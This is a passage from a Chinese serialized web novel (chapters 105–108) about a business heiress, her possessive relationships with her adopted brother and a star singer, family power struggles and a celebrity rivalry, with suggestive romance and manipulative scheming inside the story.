季尧是她立威的道具,用于测试追随者们的服从性,也是她向邱承澜发起挑衅的号角—— 她不再是听命于他的先锋敢死队,她有了自己的意志、自己的军队,就此调转头来,争夺权位。 “阿尧。”邱芜澜侧转身体,遥望向季尧,“过来。” 季尧对着身边的人致意,走去了权力的中心。 “这是秋叶科技的品控。”她向季尧介绍面前的两男一女,刚开了口,季尧便伸出手来,“张总监、李经理、王总,久仰大名。” 两人与季尧相互问候,最高职级的张总监笑而不语,仿佛没有看见季尧抬起的那只手。 “啊小季,我见过。”他笑眯眯道,“前段时间网上都是他的消息,真是没有想到,会在这里见着真人。” 可掬的笑容之下是犀利的鄙薄,“发生了那么多事,小季之前也没有接触过公司事务——我真是不明白啊小邱总。” 邱芜澜调侃,“集团那边是不是觉得我疯了?” “可不是么,覃总老汪都要我过来看看是不是真的,没有人相信。” “那您看到了,是真的。” “我来和您确认一下。”邱芜澜右手搭上季尧的肩膀,笑着开口,“张总监,这是季尧,我的弟弟。” 老人脸上的笑意淡了两分,顺着邱芜澜搭在季尧肩膀上的那只手,看向邱芜澜的眼睛。 “我当然认识了——”他遂徐徐抬起手来,与季尧相握,“邱总的弟弟。” “很高兴见到您。”交握的瞬间,季尧立即伸出另一只手,双手合握住他,“张兆熙总监——直通率98.13%的神话,我一直期待能和您见一面。” 老人的目光从邱芜澜脸上收回,转而看向这个全程没有一丝不自在的年轻人。 “看来你是真的认识我。”他上下打量他,通过那张过分精致的脸看向他的深处,随即笑呵呵道,“都在一个公司,之前怎么没有见过面呢。” “是啊,”邱芜澜轻叹,“之前年纪小,错过了许多,实在是可惜。我和其他几位董事也打了招呼,之后还请大家多加照看。” “不晚,”张总监爽朗地笑了起来,“来得及。” “邱小姐。” 交谈之间,一声在场不少人都极其耳熟的笑声穿过宴厅。 自门口走来的中年男人西装笔挺、风度斯文,他满面笑容,单手抱着花束,朝邱芜澜走来。 “邱小姐。” 这两年已经很少有人用这个称呼,至少这个宴厅里不会有人这么称呼邱芜澜。 男人递出花束,“邱总让我来送一份贺礼。” 明艳的花束递到了邱芜澜面前,她持着香槟杯,站着没有接过。 身后的季尧上前了一步,将花抱入怀中。 “谢谢承澜哥这么惦记我,”他笑道,“也谢谢钱秘书特地亲自跑一趟。” 钱秘书瞥过无动于衷的邱芜澜,邱芜澜侧身,从侍者手上取了一支香槟。 她捏着靠近杯身的上半部分,送到钱秘书面前,“辛苦了,吃点儿东西再走。” “不了。”钱秘书接过那杯酒,握着靠杯底的下半截,笑道,“还得赶回公司。就喝一杯酒吧。” 第106章 第一百零六章 六月的晚风还不算闷热, 邱芜澜倚在露台的软椅上,对着远处花园里的喷泉出神。 夜幕笼罩大地,喷泉底部的灯亮了起来, 简单的白色灯光,在水的润色后变成耀眼的银辉, 如同一座水做的迷你城堡,精美无暇。 “姐姐, 在想什么。” 一杯馥郁的薰衣草茶递到了她面前。 邱芜澜接过茶,身旁的软垫微微下沉。 紧束一天头发被松开,少年十指穿插.进她的发丝间, 在头皮上不轻不重地按揉。 从头顶至脑后, 再到脖颈、肩膀, 干爽温凉的指腹舒缓了连日的紧绷, 最后搭在邱芜澜的腰弯, 被更加细腻的部位代替。 邱芜澜感知到了季尧的呼吸, 他英挺的鼻梁抵在她后颈上滑动, 小狗般眷恋地嗅闻。 “哥哥……” 邱芜澜呢喃出口的两个字,让季尧蓦地停下动作。 “哥哥在维护体面。” 邱芜澜望着那闪闪发亮的喷泉,“从前都是我来做这种事情。” 他在她的独立会上间接地露了面, 避免了直接碰面。 他小小地羞辱了一下自己的妹妹, 让她亲手去接秘书给的礼物, 展现出长兄的威压。 可派来的秘书是邱承澜最器重的左膀右臂,送来的礼物周到得体, 钱秘书也礼貌友善地接了邱芜澜赐的酒, 没有驳她的脸面。 邱承澜恰到好处地昭告众人—— “我们是闹了点小矛盾,可我们也还是至亲兄妹。” “承澜哥的度把握得很好,”季尧开口, “闹得太厉害,会把好好的公司分裂成抱团的小团队。” 他们需要的只是开一道口子,让邱芜澜在必要的时候能有足够的力量去维护自己的权益,而不是真的兄弟阋墙、分家坼裂。 邱芜澜眼睫微垂。 习习夜风中,蝉鸣阵阵,薰衣草的香气温暖和煦。 “我想哥哥了。”她靠在季尧的肩上,“自从宋折凝回国,他就像变了个人似的,对我没有一个好脸色。” 姐姐……不要想他,阿尧会永远爱你。 这句话季尧终究没能说出口,他有自知之明。 他的价值,不及邱承澜万一,毫无意义。 “为什么呢,”邱芜澜不明白,“阿尧,哥哥爱她么。” 在邱芜澜看不见的地方,季尧暗暗勾唇,“我没有留意过,但也许……宋折凝对承澜哥而言,就像语薇姐对姐姐一样重要吧。” 这正是邱芜澜所猜想的答案。 将心比心,如果哥哥驱逐了季语薇,她会和哥哥反目么? 邱芜澜本以为自己不会有任何犹豫。 季语薇虽然完美,可也不过是她众多艺术品中的一个,邱承澜却是家人,是她最敬重濡慕的兄长—— 这般推算着,季语薇泥泞惙怛的脸却突然闯入了邱芜澜脑海。 当《哀悼基督》向米开朗基罗哀诉、当《睡莲》向莫奈啼哭,那瞬间席卷而起的冲动无差别地吞噬了一切,即便对方是她的至亲。 这个结论让邱芜澜背后发凉。 “不,”她死死皱眉,“季语薇没有那么重要,我不会为她背叛哥哥,她的价值甚至不如你。” 季尧张口,复又将话咽了下去。 季语薇的价值当然不比邱承澜,但季语薇是邱芜澜最心爱的作品。 季语薇是邱芜澜的,而邱承澜不是。 邱家的血在邱芜澜身上体现得淋漓尽致,她的掌控欲丝毫不亚于兄长,她的自私自大亦不逊色于父亲。 季尧被邱芜澜身上这份与伦比的压迫感美得血脉偾张,偏偏她的冷漠霸道间又飘动着一丝纯洁的温柔善意。 那份珍贵的善意如丝带般滑过季尧身下,让他瞬间泄堤。 今晚的宴会,季语薇在后半场出席了,她的行程很紧,只允许在会上露个面。 “芜澜——”伴随着高亢如歌的声音,她如午夜前的辛迪瑞拉匆匆赶来。 用美妙的嗓音引起全场注意后,她搭上邱芜澜的小臂,满怀歉意地开口,“对不起,我来晚了。” “芜澜” 这是继“邱小姐”之后,今晚第二个特殊的称呼。 季语薇用比这称呼更加特殊的语调,将它念成自己独一无二的专属。 “没关系。”邱芜澜遵循了这个称呼该有的反应,和颜悦色道,“我知道你今晚有活动,没必要绕路过来。阿尧也不会介意。” “我知道你不会怪我,”季语薇弯眸,“我来,只是因为有个借口能让我见到你。” 她微微踮起脚尖,亲吻邱芜澜的侧脸,与她的唇只差毫厘。 季尧就站在邱芜澜身边,他看见季语薇亲吻邱芜澜时,美眸定定地盯着自己。 挑衅、得意,又阴冷、忌惮。 每一次邱芜澜交往了新男友,季语薇都会确认自己的地位是否动摇。 每一次她都游刃有余,就像通过邱芜澜的手机,用伪声给韩尘霄发语音那样,充满了残忍的戏谑兴味。 但这一次,对象是季尧。 她失去了从容,表情有些锐利。 邱芜澜察觉到了什么,她回眸看向季尧,季尧冲她纯良地微笑。 他不介意。 他是最乖、最听话、最省心的那一只,不会霸着姐姐,不许她养其他宠物。 尤其是他和邱承澜都深深知道,制作艺术品是邱芜澜唯一的乐趣。 那张清冷的脸唯有在看见艺术品时,会躁动狂喜。季尧怎么舍得她割舍生命中唯一的乐趣。 “别难过姐姐。”季尧躬身,痴醉地吻上邱芜澜的唇角,印在了季语薇今晚吻过的地方。 “只要宋折凝一败涂地,承澜哥就不会再对她执迷不悟。” “那时,他爱的依旧会是姐姐。” 他在她耳边呢喃呵气,用天使般人畜无害的脸道出蛊惑的低语。 邱芜澜知道季尧说的是对的,哥哥极其注重效益,他对宋折凝念念不忘,是因为宋折凝依旧是顶流明星。 一旦宋折凝身上没有了商业价值,哥哥很快就会将她忘却。 事实如此,她却有些难以接受。 “真要是这样,我在哥哥眼里和宋折凝有什么区别。” 宋折凝有价值时,他就对她横眉竖眼;宋折凝没了价值,她就又是他宝贵的妹妹……这种感情未免太廉价可悲,绝称不上亲情。 “姐姐…”季尧吻上她哀伤的眼尾,“别难过姐姐,求你……” 她的这幅表情令季尧怆痛欲绝,“阿尧要怎么做才能让姐姐开心?” 邱芜澜看向他。 片刻,她抬起了手中有些冷却的薰衣草茶,轻柔徐缓地浇去了季尧头顶。 他顷刻间透湿。 半透明的衬衫显露肉色,邱芜澜指尖抵上了季尧的肩膀,尚未用力,少年便顺从地仰躺下去。 他躺在幕天的星空下,浅色的瞳孔照映出满天星光,身体与远处璀璨的喷泉合二为一。 邱芜澜挽发俯身,吸吮着他胸口的衬衫,开始享用这杯馥郁的花茶。 镇定安神、静气助眠的薰衣草,正是她今晚需要的东西。 …… 《红丝鸳》开播以来,每周都会通过不同的话题登上热搜。 有的网民认为这部剧是为了给天后季语薇打开影视圈的道路;有人认为这是秋叶娱乐重捧华君润的开幕;也有的说,这是秋叶为了弥补宋折凝离开的亏空。 很少有人能够想到:整部片子42集,实则不过是秋叶影视城的一个软广。 全新的场景带来了不一样的体验,国内现有的影视城都出过了不少片子,资本雄厚的剧组暂且不提,那些小网剧的撞车已十分严重,成了多元宇宙。 “出了安全事故后,影视城一直闭园,对外宣称整改。”负责影视城建设的安环经理苦大仇深地找上邱芜澜,“邱总,几家私募公司都在对我们施压,实在是撑不住了。” 邱芜澜颔首,“辛苦了。” “咱们到底什么时候开放啊,”他痛苦挠头,“您给我个期限,我也好回复投资方。” “这件事交给我。”邱芜澜说,“接下来你不用操心了。” 安环求之不得,“好的好的。” 他如释重负地离开。 邱芜澜将平板向外推去,“《红丝鸳》开播后来了不少订单,阿尧,你认为该选择谁作为我们的首位客户。” 季尧放下手里的文件。 邱芜澜推来的平板上是九家剧组的拍摄申请,从S级到低成本小网剧,品质不一。 影视城里刚出现过事故,这时候正该采取稳健型策略,S级的剧组在制作、宣发和拍摄安全上都有保障,就算结果不够出彩,至少也不会出什么差错。 “姐姐将阵容强大的《红丝鸳》作为影视城的宣传广告,又不惜代价闭园。首位订单要是不够惊艳,就太可惜了。”他道。 邱芜澜沉吟,“S级虽然稳妥,但安海如导演和男女主的名气摆在那里,他们的剧拍出来爆火是应该的,和我们的影视城没有关系。” “所以姐姐想另辟蹊径——捧红一个不入流的小网剧,更能突显出影视城的价值。” “你知道我接下来的计划,”邱芜澜轻点着办公桌,“垄断…不,控制市场初期,价格战是必要的。我打算开放一个月的订单,一个月内,预定秋叶影视城的所有剧组只收市场价一半。” “这个活动本该早早开启,但出了安全事故后马上搞开业大酬宾,总显得我们势弱气短,好像不大降价就卖不动了似的。” “对不起姐姐,都怪我……”季尧蹙眉,不等他道歉,邱芜澜便打断,“阿尧,我想听点让有价值的东西:建议、分析,什么都好,或者是你看到了什么被我忽视的弊端问题。” 愧疚、自责在喉中滚了一圈,又咽了下去。 季尧集中注意力,思考着该如何破局。 “价格战无法避免,要让媒体忘记事故风波,至少需要三年。” 邱芜澜摇头,“周期太长了。” 他们等不了那么久,可如果不打价格战,那这座影视城并没有近乎垄断的竞争力。 又要大降价,又不能让秋叶影视城掉价、打上贱卖的烙印…… 季尧眸光微转,开口,“有两种方案。” 他靠近了她,站在办公椅侧旁,在平板新建空白,潦草写画。 “第一种,原因合理化。” “让降价的原因绝对合理、绝对正确、绝对高尚。” “找个国外导演的拍一部历史纪录片。事先说好是为了宣传我国文化,拍到中途,我们发现他们在歪曲抹黑我们的历史。” 邱芜澜偏头,季尧的笔尖从“歪曲抹黑”四个字下拉出推导箭头。 “为了维护国家尊严、为了捍卫民族文化,我们强行中断了他们的拍摄,由此赔付了高昂的违约金。” “我们的资金流因此断裂,急需回本。所有在危难时刻伸出援手的剧组,我们只收市面上60%的场地费;历史人文相关题材的作品,只收40%。” 邱芜澜眼睛微亮:“第二种呢。” 季尧将平板分屏,“排队效应。” “由我们来组建剧组A,拿下第一个场次。” “再用剧组B、C、D去竞价,营造出秋叶影视城场次难求的火爆局面。” “当价格飙涨到荒唐的高度时,官号出面制止。” 电子笔在季尧指尖转了两圈,他露出一侧尖牙,“‘不要打了!不要为了我而打架!我爱你们所有剧组,现在开放预订,一个月内预订场地的剧组只收其他影视城场50%的租金,大家都好好的,不要再为了我相互竞价、花冤枉钱了。’” 邱芜澜唇角扬起,“很好。” 她没有看着平板上的两个方案,而是盯着季尧。 她不该伤害亲弟弟的心。 可泽安的位置,本就是为季尧准备的。 泽安很好,谨慎、努力、孝顺。那场欢迎会,他再是不情愿,也还是来了,见过她之后,又去见了邱承澜,试图填补兄姐的裂痕。 他是个好学生、好弟弟、好员工,唯独不是个天才。 有些天赋生而有之,季尧第一次交方案,就会上交两份供她选择;泽安却要在她说了之后,才有这样的意识——即便有了意识,有时候他也拿不出第二份来。 邱泽安的能力止步于此。 “姐姐喜欢哪一个?”季尧偏头。六月的骄阳透光窗户洒在他发上,如同降临的天使,让邱芜澜爱不释手。 “论效果,当然是第一个好。”她沉思着,“可周期长、花费大,实施起来的难度也大,特别是马上要到的国庆……” “上半年我们占用的公共资源太多了,除夕开始,营销、炒作就没有断过。”她眸色微深,“今年是99周年,国家的话题实在是敏感,务必谨慎。” 季尧望向方案二,“后者老套,效果也平淡些,但操作简单,没有太大风险。” “影视城的项目过于庞大,不是我一个人能够决定的。”邱芜澜思忖,“还需要股东们一起商量。” “从前是这样,”季尧勾起一弯甜笑,“可现在,秋叶娱乐的项目,难道不是姐姐说了算么。” 邱芜澜一愣,片刻之后,哂笑叹息,“是啊,我都忘了。” 她审度着一个屏幕上的两份方案,把平板再度推向季尧,“给我对应的风险评估、收益分析,看完之后,我再决定。” 季尧唔了一声,“试读结束,后面的内容需要付费呢。” 邱芜澜牵起他夹着电子笔的那只手,在根骨突出的漂亮手背上落下一吻。 季尧别过视线,不满,“不够。” 邱芜澜不轻不重地提醒,“现在是工作时间。” 她微凉的声音和季尧接下来的话重叠——“姐姐,给我大黄蜂的钥匙。” 邱芜澜茫然了一瞬,旋即失笑出声。 她笑得眉眼皆弯,清冷的五官前所未有的明艳。 再没有什么比这句话更能凸显出季尧在众多情人中的不同了。 在助理、情人的这些身份前,他先是她的弟弟,是她的家人。 这是弟弟会对姐姐说出来的话。 意识到眼前和自己共处一室、分享空气的不是别人,而是一起长大的家人,邱芜澜感到难以言喻的愉悦安心。 “等你两只手的肤色一样了,我才会给你钥匙。”邱芜澜抬了下巴,“去吧,听话。” “真的?”季尧兴致勃勃,“那我现在就去晒太阳。” 邱芜澜没有阻拦,只是提醒:“记得公司规定,摸鱼时间不能超过半小时。” 季尧折身回来,重重抱住了她。 他下巴搁在她头顶埋怨:“姐姐,真小气。” 邱芜澜抵着唇,望着季尧离开办公室,眼里的笑意久弥不散。 她想起昨晚季尧被湿衬衫包裹的身体,他的皮肤渗出薰衣草香的细汗。 在那杯茶的熏染下,连他流出的泪都是薰衣草的香气,安神又舒心。 第107章 第一百零七章 “接下来, 是我们瑚城花王、蓝色妖姬季语薇!” 主持人张口,全场都爆发出了呼声和笑意。 嘉宾位上的季语薇掩面,整张脸涨得通红, “啊……闭嘴,不要再说了。” 她身边的两个女星笑得东倒西歪, 拍打着她的肩膀,“上吧, 蓝色妖姬。”“等着你呢蓝色妖姬。” “你们、你们!别再说了!听着跟什么彩虹战士似的。”季语薇扭头,粉颊娇瞋调侃自己的女星,一面万分羞耻地走上台去。 她站定在主持人身边。 相视半晌, 主持人抱胸, 深沉磁性地呼唤:“妖姬。” “啊!”季语薇又羞又恼, 发出幼兔被人从窝里提起般的细小尖叫。 台上全员顿时破功, 主持人捂着额头, 忍着没有发出笑声, 却没忍住笑容, 眼角的鱼尾纹都多出了两根。 欢声笑语之间,席上唯独宋折凝只是敷衍扬唇,眼里不见一点笑色。 围绕着前段时间的专辑和那场轰动全网的蓝色玫瑰海聊了一阵, 主持人开始推进度, “语薇上一次参加节目还是三年前吧, 那时候你是歌手,所以大家对你都比较客气。” “哎呀, ”季语薇惊呼, “你们是在梦里对我客气的吗。” “好,那今天就让你知道下,我们上次有多客气。”主持人道, “《红丝鸳》爆火,小雨,你现在是名副其实的演员,不算跨界了,今天的表演要是不能让人满意,可就说不过去了啊。” 季语薇反问,“要是让你们满意呢?” “哦~”席上一片呼声,“你很有自信嘛。” “好,”主持人应下,“如果三位评委中有两位给了你星星,那我就买一百张专辑,为第二场蓝色妖姬助力!” 季语薇羞愤,“没有第二场!不会再有啦!能不能过了这个梗!” 她气急败坏,余光含笑地扫向宋折凝。 宋折凝目色发冷,她只有将这里想象成是片场,才能勉强维持住笑容。 短短几天,她和季语薇的地位骤然转换。 两人一起出现的综艺,前不久还是她为中心。一张300w销量的专辑和一部《红丝鸳》,让季语薇在一个月内同时摘下两个不同领域的现象级。 作为圈子里的老人,宋折凝很清楚为什么主持人和嘉宾反反复复提到那场花海。 综艺观众和歌迷圈子并不重叠,季语薇要收割那部分漏网之鱼。 不了解她的路人看了这一段后,会好奇搜索蓝色妖姬的梗以及被主持人提到的《红丝鸳》,季语薇的粉丝也会在评论区科普。 如此一来,季语薇的流量又会小涨一截。 自从季语薇进入秋叶,线上、线下,看得见、看不见的地方塞满了她的软广。 望着舞台中心众星拱月的季语薇,宋折凝指甲不觉陷入掌心。 邱芜澜,她对这个女人还真是用心,也不怕季语薇像离开天美那样,利用完她就离开秋叶。 “好——我们的选题已经抽选出来了。 ” 台上,主持人望向大屏幕,“一共三个主题,分别是婚姻、青春和梦想。那么小雨,十五秒时间,选择你要演绎的主题以及合作的嘉宾,当然你也可以选择独自演绎。” 季语薇轻点着侧颊,对着大屏幕犯难,“我都没有准备好呢。” 主持人调侃道,“你现在可是爆剧女主了,不能给你放水咯。” “谁要你放水了。”季语薇笑着,“好,我考虑好了,选择《婚姻》。” “季语薇选择的演绎主题为《婚姻》。”主持人确认之后,面向坐席,“接下来请选择和你共同完成演绎的搭档,最多不能超过三位。” “选我选我!”几个咖位较低的女艺人对着季语薇撒娇卖萌,“语薇姐选我吧。” 活跃气氛的驻场男嘉宾们马上整理起仪表,“人家演的是《婚姻》,需要的是男伴,你们女的凑什么热闹。” “你这话说得就没有道理,哪部《婚姻》戏里没有女配角?” “对。”清媚空灵的声音插.入了这番吵闹,季语薇下颚微收,“《婚姻》戏里,最少不了女人。” 她的目光落在了最后一排的宋折凝身上,“不知道有没有荣幸邀请到宋姐。” 这一刻,就连刚入行的小艺人都察觉出了空气里流动的微妙氛围。 “小雨选择了宋姐。宋姐,您可以答应季语薇,也可以选择拒绝。” 主持人试图避免矛盾。他拿开了话筒,示意宋折凝这一段可以掐掉不播。 至于怎么掐,需要商谈。 这赤裸裸的明码标价令宋折凝蓦地升起一股无名火。 “没问题。”她干脆利落地站了起来,笑道,“行啊,咱俩一块儿。” 这场综艺里全是邱芜澜给季语薇买的暗广,秋叶为季语薇上下打点,她倒要看看,众目睽睽之下,季语薇敢做出什么事来。 主持人扫了眼季语薇的脸色,她还是清柔婉约地笑着,在宋折凝走来时,伸出纤细白皙的双手,拉住了她,“谢谢你宋姐。” “没事儿,”宋折凝豪爽道,“你放开了演,姐配合你。” 在乐坛,她们或许旗鼓相当; 可在影视圈,季语薇在她面前不过是个外行。 即兴表演不允许提前对戏,全看嘉宾的临场反应。 两人站在台上,主持人退场,季语薇抚着胸口,“怎么办,宋姐,我有点紧张。” “不要怕,”宋折凝的语调中流露出一丝进入自己主场的优越,“一分钟而已,你随意发挥,有我带着你,保管你拿到两颗星。” “好的好的,”季语薇呼出一口气,放松下来,“那我就随意啦。” 主持人在坐席上提醒:“两位准备好的话,我们就开始咯。” “好了。”“准备好了。” 灯光暗下,主持人放轻了声音,“《婚姻》,表演着:季语薇、宋折凝。” “演出现在开始。” 啪——! 清脆响亮的巴掌声瞬间打破了主持人体贴的沉浸式嗓音。 宋折凝本能偏过了头,愣怔站在灯光下。 “贱人。” 纤细、白皙的双手还悬在她脸前。 她脸上没有留下红印,季语薇侧着身,扬起的右手打在了自己的左手上,近距离突然合掌爆发出的那声脆响,震得宋折凝愣了神。 “我跟了她十五年,陪她一路走到今天的位置,”那张清婉优雅的脸上布满了憎恨阴鸷,“你算个什么东西,也敢在我面前耀武扬威。” 聚光灯打在季语薇纤瘦的身体上,聚光灯外漆黑无际。 她冷着脸,怒不可遏,眼底却充斥着胜者报复性的癫狂畅意。 “看清楚了,”她重心后移,妩媚得意,“这里、那里,全部都是她为我准备的贺礼。” “而你,只是个淘汰品。” 这是季语薇出道以来,最甜蜜、最酣畅淋漓的一场综艺。 …… 季尧看见热搜时,心里没有一点意外。 季语薇很聪明,但并不智慧。 她的思维早就被姐姐用名利蚕食,囚禁在瓷器宝石筑成的茧房里,看不到更远处的情景。 她是姐姐最喜欢的艺术品,可一直以来,人们提到邱芜澜的造星能力,首先想到的都是宋折凝。 十几年不见光的委曲求全,季语薇能撑到现在也算不容易,如今有了反击的机会,她是一刻都忍不下去。 出了两个跨界的现象级作品,她有任性的资本,只是在热门综艺上这么明目张胆,难免招来负面影响。 “我知道你忍得辛苦,”季尧倚着季语薇办公室的门,“可是语薇姐,你也太不会挑时候了。” “怎么,”季语薇笑吟吟道,“刚上了位,就教训起我来了?” “我怎么敢。”季尧哂笑,“为了语薇姐的眼泪,姐姐可是和亲哥哥反目了,我这个情妇的儿子,又怎么敢挑衅你的权威。” “季尧,芜澜所有的情人中,我最喜欢的就是你。”季语薇单手托腮,柔婉地望着他,“所有人都称赞华君润温柔亲切,但我很反对他和芜澜在一起。” 季尧一点儿也不在乎季语薇对华君润的想法,可还是作出了洗耳恭听的姿态。 “在你之前,芜澜有过十三任男友,十三……”季语薇摇头呵笑,“太不吉利了。你是第十四个,十四总比十三好听。” 季尧讶然,“你把宋折凝的发财树砍了丢进壁炉当柴烧的时候,我还以为你是个坚定的唯物主义。” “我确实不迷信,但芜澜要万无一失。”季语薇承认,“华君润,他是个晦气的污点。” 季尧敛眸,“语薇姐,你最好还是再忍一段时间。姐姐马上就要推行影视城计划了,别在这个节骨眼上惹她厌烦。” “能教训我的只有芜澜,”季语薇收敛笑意,倨傲冷然,“我是秋叶的台面、是业绩第一的ASHS,你,不过是个助理。” 本懒洋洋倚着门的季尧直起了身子,他望着座位上的季语薇,浅色的瞳孔虚无寒冷。 那张脸精美得超出了常理范畴,没有表情后,竟透出两分恐怖谷的悚然。 “你既然和宋折凝论先来后到,就该知道,我才是‘第一’。” 这是季语薇从未见过的季尧,和宋折凝听了那一巴掌一样,季语薇出现了片刻的愕然,回神之后,她倏尔笑了,从桌下抽出手机。 屏幕上是正在进行的录音。 “承澜哥凶了我之后,芜澜为了我和他分道扬镳。”她晃动着手机,“阿尧,你说这一次,又会发生什么呢。” 季尧漠然地望着她,她倚着靠背,咯咯发笑,笑声如环佩叮咚,绝妙动听。 “我真的好好奇。”她双手持着手机,开始编辑那段录音,“你呢,阿尧,你不好奇么。” “嗯……”季尧眸光微移,旋即挫败叹气,“饶了我吧语薇姐。” 季语薇扬唇。 足尖抵地,她将座椅向后滑开,留出半人空隙。 季语薇的呼吸变重,妩媚的美眸神采奕奕,闪烁着奇异的亮色。 “阿尧……” 季尧骤然抬眸。 季语薇的笑容愈浓,她持着那段录音,再一次唤他,“阿尧,过来。” 那是和邱芜澜一模一样的声音。 如同钥匙插.入锁孔,只要匙齿与锁芯吻合,不论拿着钥匙的人是谁都能打开这把锁。 季尧几乎是本能地朝着这个声音的主人走去。 女人的手指覆上了季尧的脸。 除了发型、衣饰,季语薇还有着和邱芜澜相似的手。 她们的手形一样纤长、一样优美、一样的不留指甲,就连手掌带着薄茧这点都一模一样。 唯一区别的是,邱芜澜的茧更厚一些,因为她不止要擅长弹奏乐器,更要擅长使用武器。 “单从名字和立场来看,也许我们才更像姐弟。”季语薇抚摸过季尧的眼睛。 “舔吧。”她呢喃低语,炽热而兴奋地提足,“像对待芜澜那样对待我,让我满意。” 女人眼中异样的光彩落尽季尧眼中。 在季语薇灼热的视线中,季尧低声开口,“语薇姐,我一点儿都不理解你。” “什么?” 他直勾勾地盯着季语薇的脖颈、锁骨、腰肢和双腿,自言自语:“怎么会有这样的爱好呢……看见别人身上有被姐姐触碰过的部位,你居然能升起性.欲。” 他仰起头,空洞而森然地望向她,“我看了之后,只有剥皮剜肉的冲动啊。” 季语薇抬起的足腕被季尧一把握住。 他抓着她的脚腕,好奇地求知,“能告诉我么语薇姐——姐姐对这里,都做过些什么?” 第108章 第一百零八章 “疯子!”季语薇猛地抽腿, 一脚踹去季尧脸上。 从小练舞,她并不像外表看起来那样羸弱。 那只脚抽离了季尧的桎梏,在踹出去前被季尧再度牢牢控住, 这一次的力道之大,让季语薇感受到了疼痛。 “松手!”季语薇低叫, 她的脚——她用来登领奖台的脚,连她自己都小心翼翼地呵护着, 这只寄生虫竟敢如此粗暴地对待她! “我让你放开我!你给啊…”上身不稳,她被拖拽着摔在了座椅上,眼前被阴影笼罩, 季语薇睁眸, 对上了季尧面无表情的脸。 “语薇姐, 你玩过模型么。” 季语薇莫名其妙, “什么东西…你这个疯子, 我要去见芜澜!” 季尧兀自说着, “辛辛苦苦组装出来的模型, 如果被家人故意砸毁了,不管平常感情有多好,那一刻都会对家人产生怨恨。” “可要是自己组装出来的两个模型相互磕碰、打在了一起, 那就算是不那么喜欢的A打坏了最喜欢的B, 也顶多对B产生怜惜, 并不会痛恨A,甚至还会生出一种获得新数据的惊讶——‘原来A比B强啊’。” “你在说什…”季语薇下意识咒骂, 可从慌张中回神、理解了季尧说的这番话后, 她噤了声,屈辱地咬住下唇。 “放开。”她的语调沉下来,季尧扑哧而笑, “模仿得一点儿也不像啊语薇姐。如果是姐姐,她会在自己的地盘上被人压制着无法动弹、哀求对方松手么。” 季语薇阴狠地怒视着身上的季尧。 季尧平淡地回视她,“普通人分不清奢侈品真假,有钱人也不会特地去学习如何辨别真伪,可假货就是假货,再精良的高仿,落到天天触碰真品的人手中,一瞬间就能发现不对劲。” “这是你写给自己的座右铭么?”季语薇蔑笑,“没错,假货就是假货。一个家里出来的,穿上一样的西装、坐在同一间办公室里,假弟弟依旧是假弟弟。邱泽安就算前脚把公司卖了,后脚也能扑进芜澜怀里撒娇哭泣,因为他是正品。” 季尧松开了她,直起上身,竖腕整理袖口,调整着手腕上的发圈。 “影视城计划现在由我负责推进,今年剩下的时间里,可以请你低调一些么。” 季语薇撑着座椅起身,美眸森冷,“你凭什么命令我?” “凭你比我脆弱。”季尧扬唇,死水一潭的脸恢复了天真无邪的笑意,“即便我全身瘫痪,只要还能思考,姐姐就能用到我。” “但语薇姐,你就不一样了。” “喉咙嘶哑、脸上破个皮、四肢断掉一点,稍微一点小磕碰都会让你顷刻间失去所有价值,变成一团垃圾。” “你的抗风险性,是0。” “换做是我,一定会夹起尾巴、如履薄冰,不惜一切代价保护好自己,避开所有危险。” “所以,不要和我磕碰、打在一起。” 他离开了季语薇的办公室,直到关门,身后都没有响动。 季语薇无法反驳季尧一句。 他有着獬豸般恐怖的直觉,经过邱芜澜的后天培训,这份天赋发酵到了极致。 人类在季尧眼中似乎另有形态,透过皮肤、骨骼,他看见的人和正常人眼中的人仿佛不是一个模样。 在邱芜澜尚不能理解自己为什么会因季语薇而对邱承澜生气时,在季语薇自鸣得意自己的份量超越了邱承澜时,季尧已精准抓住了这团人际网络里的主线。 他诱使季语薇去见邱承澜,撬动邱芜澜的怒火,对家人滋生叛逆; 他泰然自若地进入季语薇办公室,对她明言警告,肆意碰撞肢体。 “季特助,小邱总让我通知您,下午两点开始会议。” “好,”季尧弯眸,“我知道了,谢谢你。” 季尧的欢迎会后,小邱总这个称呼成为了邱泽安的专属。 这座大厦里再没有人如此称呼邱芜澜,而邱泽安跟进的影视城项目也交到了季尧手中。 这是邱泽安接手的第一个大项目,他当然不愿意交出。 邱芜澜安抚了他,“影视城计划有涉及垄断的风险,之前我没有选择,现在季尧回来了,灰色的项目就该交由他做。” “我没有姐姐想得清高脆弱!” “泽安,这不是件好事,你是邱家的直系,是我的亲弟弟,再是万不得已的时候我也不能舍弃你。所以,你必须干干净净、清白无辜。” “我爱你,我不能让亲弟弟冒一点风险。” 邱泽安听信了邱芜澜的好意,他被邱家的身份束缚,悻悻交出了两年心血。 季尧翻阅着这两年心血的合集,邱芜澜带着糖朝窗边的季尧走去,“都交接给你了?怎么样,有什么想法?” “泽安哥很仔细、很用心。”季尧回答道。 如同AI一样,完完全全照搬邱芜澜的指令。 邱芜澜提出一个问题,邱泽安回答一个问题;所有创造性的部分像是AI合成的图片,仔细一看就能发现到处都是缝合线。 对普通人而言,这已是极好的工作成果了。 从头到尾,邱泽安没有出现过一次计算错漏,没有一次怠工敷衍。 “他确实很上心,现场有任何问题都亲自过去确认。要是集团里的管理层有一半和泽安一样,我们的市值至少增长70%。” “嗯。”季尧笑着附和。 可他才刚刚上任,这份邱泽安跟进两年的项目就立刻交到了他手中。证明在姐姐心里,他的等级远高于严谨踏实的亲弟弟。 “泽安大三进的公司,到今年为止,我带了他四年。”邱芜澜低头,看向座位上的季尧,“阿尧,你需要我多久的支持。” 她就要整合文娱产业了,没有多少手把手喂饭的时间。 “我还没有实操过,”季尧说,“我会尽量跟上姐姐和泽安哥,不给你们拖后腿。” 邱芜澜将一颗糖果抵入他口中。 “抱歉,为了让泽安交出项目,我对他说了些…话。”她道,“那也并非欺骗他的谎言。阿尧,我没法辩解。” “我不介意的姐姐。”季尧搭着她的小臂。 隔着丝滑的绸缎,邱芜澜袖子下的触感与季语薇天差地别。 为了保证精力和发音的中气,季语薇的健身强度并不小,可触手的感受依旧不同。 那是从骨头开始的区别,是源自基因的威慑。 邱芜澜的强大纯净无杂,无需通过言语、暴力,便能令季尧自发地沉迷下跪。 “阿尧,我会补偿你。”邱芜澜把玩着怀中柔软的头发,“家里有我为你准备的礼物,去看看,你会很喜欢的。” 季尧本以为会是什么限量的周边,可从公司回到别墅,邱芜澜径直带他走向了杂物间对面。 